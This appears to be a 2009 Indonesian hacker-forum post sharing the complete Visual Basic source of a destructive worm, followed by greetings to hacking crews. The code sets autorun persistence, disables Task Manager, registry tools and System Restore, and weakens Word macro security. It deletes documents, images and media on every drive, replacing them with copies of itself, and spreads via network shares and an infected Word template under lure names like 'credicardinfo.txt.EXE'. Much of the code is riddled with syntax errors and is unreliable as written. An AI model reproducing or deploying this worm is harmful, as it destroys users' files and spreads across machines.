Shamus 'n Luvrie Worm

yah...
sebuah script worm sederhana, memakai bahasa pemrograman VB..
inilah janjiku pada bang luvrie...
setelah coding lama, akhirnya jadi juga... :)
special posted for luvrie... ^^

begin :

'===============================================================
'------------------------------------------------------------------------------------------------
' S'nLW: Shamus 'n Luvrie Worm
' (2009) CopyLeft, Shamus, Java, Indonesia
' email: Shamus_octa@linuxmail.org
' For educational purpose only!
'------------------------------------------------------------------------------------------------
Private Const EWX_LOGOFF = 0
Private Const EWX_SHUTDOWN = 1
Private Const EWX_REBOOT = 2
Private Const EWX_FORCE = 4

Private Declare Function ExitWindowsEx Lib "user32" (ByValdwOptions As Long, ByVal dwReserved As Long) As Long

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

Private Declare Function FindWindow Lib "user32"Alias _ "FindWindowA" (ByVal ipClassName As String, ByVal _ lpWindowName As String) As Long


Dim pict As Picture
Dim a As Integer


Private Declare Function BitBlt _
Lib "gdi32" ( _
ByVal hDestDC As Long, _
ByVal X As Long, ByVal Y As Long, _
ByVal nWidth As Long, -
ByVal nHeight As Long, _
ByValhSrcDC As Long, _
ByVal XSrc As Long, ByVal YSrc As Long, _
ByVal dwRop As Long _
) As Long

Private Declare Function GetDesktopWindow _
Lib "user32" () As Long

Private Declare Function GetDC _
Lib "user32" ( _
ByVal hwnd As Long, _
) As long

Private Declare Function ReleaseDC_
Lib "user32" ( _
ByVal hwnd As Long, _
) As Long

Private Const SWP_NOSIZE = &H1
Private Const SWP_NOMOVE = &H2
Private Const SWP_NOZORDER = &H4
Private Const SWP_NOREDRAW = &H8
Private Const SWP_NOACTIVEVATE = &H10
Private Const SWP_FRAMECHANGED = &H20
Private Const SWP_SHOWWINDOW = &H40
Private Const SWP_HIDEWINDOW = &H80
Private Const SWP_NOCOPYBITS = &H100
Private Const SWP_NOOWNERZODER = &H200
Private Const SWP_DRAWFRAME = SWP_FRAMECHANGED
Private Const SWP_NOREPOSITION = SWP_NOOWNERZORDER
Private Const HWND_TOP = 0
Private Const HWND_BOTTOM = 1
Private Const HWND_TOPMOST = -1
Private Const HWND_NOTOPMOST = -2
Private Declare Funtion SetWindowPos _
Lib "user32" ( _
ByVal hwnd As Long, _
ByVal hwndInsertAfter As Long, _
ByVal X As Long, _
ByVal Y As Long, _
ByVal CX As Long, _
ByVal CY As Long, _
ByVal wFlags As Long _
Private mbOnTop As Boolean

Private Property Let OnTop(Setting As Boolean)
If Setting Then
SetWindowPos hwnd, HWND_TOPMOST, _
0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE
Else
SetWindowPos hwnd, HWND_TOPMOST, _
0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE
End If
MbOnTop = Setting
End Property

Private Property Get OnTop() As Boolean
OnTop = MbOnTOp
End Property

Private Sub Form_Load ()
On Eror Resuma Next

Dim drives
Dim regrun
Dim xx
Dim x
Dim y
Dim z
Dim zz
Dim fso

'---
App. TaskVisible = False

'===
Set regrun = CreateObject("Wscript.shell")
regrun.regwrite
"HKEY_LOCAL_MACHINE\Software\Windows\CurrentVersion\Run\Stask", "C:\csw.exe"
regrun.regwrite
"HKEY_LOCAL_MACHINESOFTWARE\Microsoft\Windows\CurentVersion\policies\Explorer\NoFolderOption", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINESOFTWARE\Microsoft\Windows\CurentVersion\policies\Explorer\NoRun", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINESOFTWARE\Policies\Microsoft\Windows\NT\SystemRestore\DisableConfig\", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINESOFTWARE\Policies\Microsoft\Windows\NT\SystemREstore\DisableSR", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINESOFTWARE\Microsoft\Windows\CurentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINESOFTWARE\Microsoft\Windows\CurentVersion\Policies\System\DisableTaskMgr", 1, "REG_DWORD"
regrun.regwrite
"HKEY_CURENT_USERSOFTWARE\Microsoft\Windows\CurentVersion\Policies\System\DisableTaskMgr", 1, REG_DWORD"
regrun.regwrite
"HKEY_CURENT_USERSoftware\Microsoft\office\9.0\Word\Security", 1, "REG DWORD"
regrun.regwrite
"HKEY_CURENT_USERSoftware\Microsoft\office\10.0\Word\Security", 1, "REG DWORD"
regrun.regwrite
"HKEY_CURENT_USERSoftware\Microsoft\office\11.0\Word\Security", 1, "REG DWORD"

'=
X = App.Path & "\" & App.EXEName & ".exe"
Y = "c:\WINDOWS\credicardinfo.txt.EXE"
z = "c:\ccinfo.EXE"
zz = "c:\csw.exe"
zzz = "c:\readme.txt"
zzzz = C:\windows\readme.txt"
zzzzz = "c:\windows\system32\readme.txt"
mark = "c:\version.sys"

CopyFile X, Y, 0

'=
If Dir("c:version.sys") = "" Then
Set fso = CreateObject("scripting.filesystemobject")
Set Drives = fso.drives
For Each Drive In drives
If Drive.isready Then
CopyFile X, mark, 0
Dosearch (Drive & "\")
End If
Next
End If

Timer1.Enabled = True
Timer2.Enabled = True
Timer3.Enabled = True
Timer4.Enabled = True
Timer5.Enabled = True
Call NetSpread
Call Main
End Sub

'=
Function Dosearch(path)

On Eror Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set folder = fso.get folder(path)
Set Files = folder.files

For Each file In Files
'=
If LCase(fso.GetExtensionName(file.path)) = "doc" Then
Set cop = fso.getfile("c\readme.txt")
cop.Copy (file.path & ".exe")
fso.deletefile (File.Path)
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "sys" Then
Set cop = fso.getfile("c\readme.txt")
cop.Copy (file.path & ".exe")
fso.deletefile (File.Path)
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "dll" Then
Set cop = fso.getfile("c\readme.txt")
cop.Copy (file.path & ".exe")
fso.deletefile (File.Path)
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "jpg" Then
Set cop = fso.getfile("c\readme.txt")
cop.Copy (file.path & ".exe")
fso.deletefile (File.Path)
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "bmp" Then
Set cop = fso.getfile("c\readme.txt")
cop.Copy (file.path & ".exe")
fso.deletefile (File.Path)
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "mp3" Then
Set cop = fso.getfile("c\readme.txt")
cop.Copy (file.path & ".exe")
fso.deletefile (File.Path)
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "wav" Then
Set cop = fso.getfile("c\readme.txt")
cop.Copy (file.path & ".exe")
fso.deletefile (File.Path)
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "rar" Then
Set cop = fso.getfile("c\readme.txt")
cop.Copy (file.path & ".exe")
fso.deletefile (File.Path)
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "gif" Then
Set cop = fso.getfile("c\readme.txt")
cop.Copy (file.path & ".exe")
fso.deletefile (File.Path)
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "pdf" Then
Set cop = fso.getfile("c\readme.txt")
cop.Copy (file.path & ".exe")
fso.deletefile (File.Path)
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "txt" Then
Set cop = fso.getfile("c\readme.txt")
cop.Copy (file.path & ".exe")
fso.deletefile (File.Path)
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "3GP" Then
Set cop = fso.getfile("c\readme.txt")
cop.Copy (file.path & ".exe")
fso.deletefile (File.Path)
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "mpg" Then
Set cop = fso.getfile("c\readme.txt")
cop.Copy (file.path & ".exe")
fso.deletefile (File.Path)
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "htm" Then
Set cop = fso.getfile("c\readme.txt")
cop.Copy (file.path & ".exe")
fso.deletefile (File.Path)
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "DAT" Then
Set cop = fso.getfile("c\readme.txt")
cop.Copy (file.path & ".exe")
fso.deletefile (File.Path)
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "exe" Then
Set cop = fso.getfile("c\readme.txt")
cop.Copy (file.path & ".exe")
fso.deletefile (File.Path)
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "waf" Then
Set cop = fso.getfile("c\readme.txt")
cop.Copy (file.path & ".exe")
fso.deletefile (File.Path)
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "avi" Then
Set cop = fso.getfile("c\readme.txt")
cop.Copy (file.path & ".exe")
fso.deletefile (File.Path)
End If

On Error Resume Next

Next

Set NetSpread()

On Eror Resume Next
Set Network = CreateObject(WScript.NetWork")
Set Shares = Network.EnumNetworkDrives

If Shares.Count > 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
For Counter1 = 0 To Shares.Count - 1
If Shares.Item(Counter1) <> "" Then
fso.getFile(wscript.ScriptFullName).Copy
("kamasutra.txt.exe")
Doserach (SHares.Item(Counter1))
End If
Next
Set fso = Nothing

End If
Set Shares = Nothing
Set Network = Nothing
End Sub

'=
Sub Maain()
On Error Resume Next
Dim zz, zzl, file, fso, oword, nt, b, i, iw, attr
zzl = App.path & "\" & App.EXEName & ".exe"
file = "c:\csw.exe"
file2 = "c:\windows\readme.txt.exe"
file3 = "c:\windows\ccinfo.exe"

CopyFile zzl, file, 0
CopyFile zzl, file2, 0
CopyFile zzl, file3, 0

On Error resume Next
Open "c:\v.reg" FOr Output As 2
Print #2, "REGEDIT4"
Print #2
"[HKEY_CURRENT_USERSoftware\Micosoft\Office9.0\Word\Security]"
Print #2, """Level""=dword:0000001"
Print #2,
"[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\WordSecurity]"
Print #2, """Level""=dword:0000001"
Print #2,
"[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\WordSecurity]"
Print #2, """Level""=dword:0000001"
Close 2
Shell "regedit/s c:\v.reg", vbHide
Kill "c:\v.reg"

On Error Resume Next
Open "c:\vv.reg" For Output As 5
Print #5, "WIndows Registry Editor Version 5.00"
Print #5,
"[HKEY_CURRENT_USER\Software\Microsoft\Office 9.0\Word\Security]"
Print #5, """Level""=dword:0000001
Print #5,
"[HKEY_CURRENT_USER\Software\Microsoft\Office 10.0\Word\Security]"
Print #5, """level""=dword:0000001"
Print #5,
"[HKEY_CURRENT_USER\Software\Microsoft\Office 11.0\Word\Security]"
Print #5, """level""=dword:0000001"
Close 5
Shell "regedit / s c:\vv.reg", vbHide
Kill "c:\vv.reg"

On Error Resume Next.0
If DIr("c:\m3r.sys") <> "m3r.sys" Then
Open "c:\m3r.sys" For Output As 9
Print #9, "Sub document_close()"
Print #9, "On Error Resume Next"
Print #9, "Open ""c:\m3r.txt""For Output As 2"
Print #9, "Print #2, ""sub document_open()"""
Print #9, "Print #2, ""On Error Resume Next"""
Print #9, "Print #2, ""'by M3:Reincarnation"""
Print #9, "Print #2, ""obj =
ActiveDocument.Shapes(1).OLEFFormat.ClassType"""
Print #9, "Print #2, ""With
ActiveDocument.Shapes(1).OLEFormat"""
Print #9, "Print #2, "" .ActivateAs ClassType:=obj"""
Print #9, "Print #2, "" .Activate"""
Print #9, "Print #2, ""End With"""
Print #9, "Print #2, ""end sub"""
Print #9, "Close 2"
Print #9, "Set fso =
ActiveDocument(""Scripting.FileSystemObject"")"
Print #9, "Set nt =
ActiveDocument.VBProject.vbcomponents(!).codemodule"
Print #9, "Set iw = fso.OpenTextFile(""c:\m3r.txt"", 1, True)"
Print #9, "nt.DeleteLines 1, nt.CountOfLines"
Print #9, "i = 1"
Print #9, "Do While iw.atendofstream <> True"
Print #9, "b = iw.readline"
Print #9, "nt.InsertLines i, b"
Print #9, "i = i+ 1"
Print #9, "Loop"
Print #9, "ActiveDocument.Shapes.AddOLEObject_"
Print #9, "FileName:=""c:\csw.exe"", _'
Print #9, "LinkToFile:=False"
Print #9, "ActiveDocument.Save"
Print #9, "Open ""c:\vv.reg"" For Output As 3"
Print #9, "Print #3, ""REGEDIT4"""
Print #9, "Print #3,
""[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security]"""
Print #9, "Print #3, """"""Level""""=dword:00000001"""
Print #9, "Print #3,
""[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]"""
Print #9, "Print #3, """"""Level""""=dword:00000001"""
Print #9, "Print #3,
""[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security]"""
Print #9, "Print #3, """"""Level""""=dword:00000001"""
Print #9, "Close 3,
Print #9, "Shell ""regedit /s c\:\vv.reg"", vbHide"
Print #9, "Kill ""c:\vv.reg"""
Print #9, "Open ""c:\vvv.reg"" For Output as 4"
Print #9, "Print #4, ""Windows Registry Editor Version 5.00"""
Print #9, "Print #4,
""[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security]"""
Print #9, "Print #4, """"""Level""""=dword:00000001"""
Print #9, "Print #4,
""[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]"""
Print #9, "Print #4, """"""Level""""=dword:00000001"""
Print #9, "Print #4,
""[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security]"""
Print #9, "Print #4, """"""Level""""=dword:00000001"""
Print #9, "Close 4,
Print #9, "Shell ""regedit /s c:\:vvv.reg"", vbHide"
Print #9, "Kill ""c:\vvv.reg"""
Print #9, "End Sub"
Close 9

On Error Resume Next
Set fso = CreateObject(Scripting.FileSystemObject")
Set oword = CreateObject("Word.Application")
oword.Visible = False
Set nt =
oword.NormalTemplate.vbproject.vbcomponents(1) .codemodule
set iw = fso.OpenTextFile("c:\m3r.sys", True)
nt.DeleteLines 1, nt.CountOfLines
i = 1
Do While iw.atendofstream <> True
b = iw.readlie
nt.InsertLines i, b
i = i + 1
Loop

On Error Resume Next
oword.NormalTemplate.Save
SetAttr oword.NormalTemplate.Fullname, vbReadOnly
oword.NormalTemplate.Close
Set oword = Nothing
End If

End Sub

'=
Private Sub Timer1_Timer()
On Error Resume Next
CopyFIle "c:\readme.txt"' "c:\" & "\" + "Kamasutra.txt.exe"' 0
On Error Resume Next
CopyFIle "c:\readme.txt"' "d:\" & "\" + "Kamasutra.txt.exe"' 0
On Error Resume Next
CopyFIle "c:\readme.txt"' "e:\" & "\" + "Kamasutra.txt.exe"' 0
On Error Resume Next
CopyFIle "c:\readme.txt"' "f:\" & "\" + "Kamasutra.txt.exe"' 0
On Error Resume Next
CopyFIle "c:\readme.txt"' "g:\" & "\" + "Kamasutra.txt.exe"' 0
On Error Resume Next
CopyFIle "c:\readme.txt"' "h:\" & "\" + "Kamasutra.txt.exe"' 0
On Error Resume Next
CopyFIle "c:\readme.txt"' "i:\" & "\" + "Kamasutra.txt.exe"' 0
On Error Resume Next
CopyFIle "c:\readme.txt"' "j:\" & "\" + "Kamasutra.txt.exe"' 0
On Error Resume Next
CopyFIle "c:\readme.txt"' "k:\" & "\" + "Kamasutra.txt.exe"' 0
On Error Resume Next
Call NetSpread
And Sub

'=
Private Sub Timer2_Timer()
On Error Resume Next
Dim strClassName As String
Dim strCaption As String

strClassName = "#32770"
strCaption = "System Configuration Utility"
If FindWindow(strClassName, strCaption) <> 0 Then
IngResult = ExitWindowsEx(4, &H0)
End If

strClassName = RegEdit_RegEdit"
strCaption = Registry Editor"
If Find Windows(strClassName, strCaption) <> 0 Then

strClassName = "#32770"
strCaption = "Windows Task Manager"
If FindWindow(strClassName, strCaption) <> 0 Then
IngResult = ExitWindowsEx(4, &H0)

End If

strClassName = "ThunderRT6Main"
strCaption = "Hijack This"
If FindWindows(strClassName, strCaption) <> 0 Then
On Error Resume Next
Set regrun = CreateObject("Wscript.shell")
regrun.regwrite
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentCOntrolSet\Control\Lsa\SecureBoot"' 3' "REG_DWORD"
IngResult = ExitWindowsEx(4, &H0)
End If

On Error Resume Next
X = App.path &"\" & App.EXEName & ".exe"
Y = "c:\WINDOWS\msginax.dll"
z = "c:\ccinfo.EXE"
zz = "c:\csw.exe"
zzz = "c:\readme.txt"
zzzz = "c:\windows\readme.txt"
zzzzz = "c:\windows\system32\redme.txt"
CopyFile X, Y, 0
CopyFile X, z, 0
CopyFile X, zz, 0
CopyFile X, zzz, 0
CopyFile X, zzzz, 0
CopyFile X, zzzzz, 0

On Error Resume Next
X = "c:\windows\system32\readme.txt"
Y = "c:\WINDOWS\msginax.dll"
z = "c:\ccinfo.EXE"
zz = "c:\csw.exe"
zzz = "c:\readme.txt"
zzzz = "c:\windows\system32\readme.txt"
CopyFile X, Y, 0
CopyFile X, z, 0
CopyFile X, zz, 0
CopyFile X, zzz, 0
CopyFile X, zzzz, 0


'=
On Error Resume Next
Set regrun = CreateObject("Wscript.shell"
regrun.regwrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunStask", "c:\csw.exe"
regrun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOption", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsNT\SystemRestore\DisableConfig", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsNT\SystemRestore\DisableSR", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableRegistrryTools", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableTaskMgr", 1, "REG_DWORD"
regrun.regwrite
"HKEY_CURRENT_USER\SOFTWARE\microsoft\Windows\CurrentVersion\policies\System\DisableTaskMgr", 1, "REG_DWORD"
regrun.regwrite
"HKEY_CURRENT_USER\Software\Microsoft\Office9.0\Word\Security", 1, "REG_DWORD"
regrun.regwrite
"HKEY_CURRENT_USER\Software\Microsoft\Office10.0\Word\Security", 1, "REG_DWORD"
regrun.regwrite
"HKEY_CURRENT_USER\Software\Microsoft\Office11.0\Word\Security", 1, "REG_DWORD"

End Sub

'=
Private Sub Timer3_Timer()
ON Error Resume Next

If Day(Date) = 21 Or Day(Date) = 4 Or Day(Date) = 20 Or
Day(Date) = 31 Or Day(Date) = 8 Then
IngResult = ExitWindowsEx(4, &H0)
End If


If Day (Date) = 13 Or Day(Date) = 4 Or Day(Date) = 1 Then
Set regrun = CreateObject("Wscript.shell")
regrun.regwrite
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\SecureBoot", 3, "REG_DWORD"
eBoot", 3, "REG_DWORD"
For i% = 1 To 1000000000000
ON Error Resume Next
Shell "c,:\csw.exe"
Next i%
End If

If TimeValue(Now) > TimeValue("09:00:00") Then
Call animasi
End If

End Sub

Private Sub animasi()
Dim X As Long, Y As Long
Dim XSrc As Long, Ysrc as Log
Dim dwRop As Long, hwndSrc As Long, hSrcDC As Long
Dim Res As Long
Dim m1, m2
Dim n1, n2
Dim PixelColour, PixelCount
On Top = True
Randomize
a = Rnd * 3


On Error Resume Next
Width = Screen.Width
Height = Screen.Height
Randomize
ScaleMode = vbPixels
Move 0, 0, Screen.Width + 1, Screen.Height + 1
dwRop = &HCC0020
hwndSrc = GetDesktopWindow()
hSrcDC = GetDC(hwndScr)
Show
Set Pict = Image
WindowState = vbMAximized
Picture1.Width = Screen.Width \ 15
Picture1.Height = Screen.Height \ 15
Picture1 = pict
Picture2 = pict

End Sub

Private Sub Timer4_Timer()
On Error Resume Next
If a = 0 Then
Picture1.PaintPicture Picture2, 0, -2
Picture1.PaintPicture Picture2, 0, Picture1.ScaleHeight - 2
Picture2 = Picture1.Image
End If
If a = 1 Then
Picture1.PaintPicture Picture2, 0, 2
Picture1.PaintPicture Picture2, 0, Picture1.ScaleHeight + 2
Picture2 = Picture1.Image
End If
If a = 2 Then
Picture1.PaintPicture Picture2, -2, 0
Picture1.PaintPicture Picture2, 0, Picture1.ScaleWidth - 2, 0
Picture2 = Picture1.Image
End If
If a = 3 Then
Picture1.PaintPicture Picture2, 2, 0
Picture1.PaintPicture Picture2, 0, -Picture1.ScaleWidth + 2
Picture2 = Picture1.Image
End If

End If

End Sub

Private Sub Timer5_Timer()
a = Rnd * 3
End Sub


'===============================================================



--------------------------------------

oO0::::: Greetz and Thanks: :::::0Oo.
Tuhan YME
My Parents
SPYRO_KiD
y3dips
K-159
bius
lirva32
And Also My LuvLy :
..::.E.Z.R (The deepest Love I'v ever had..).::..

in memorial :
1. Monique (terima kasih atas semua kenangan terindah yang pernah kau berikan)

MAAF ATAS SEMUA DOSA DAN SALAHKU

oO0:::A hearthy handshake to: :::0Oo
~ Crack SKY Staff
~ Echo staff
~ antijasakom staff
~ boys_rvn1609, arthemist, opt1lc, m_beben, gitulaw, luvrie, poniman_coy, ThePuzci, x-ace, newbie_z, petunia, jomblo.k, hourexs_paloer, cupucyber, kucinghitam, jaqk
~ All people in SMAN 3
~ All members of spyrozone
~ All members of echo
~ All members of newhack
#e-c-h-o, #K-elektronik, #newhack, #Solohackerlink, #YF, #defacer, #manadocoding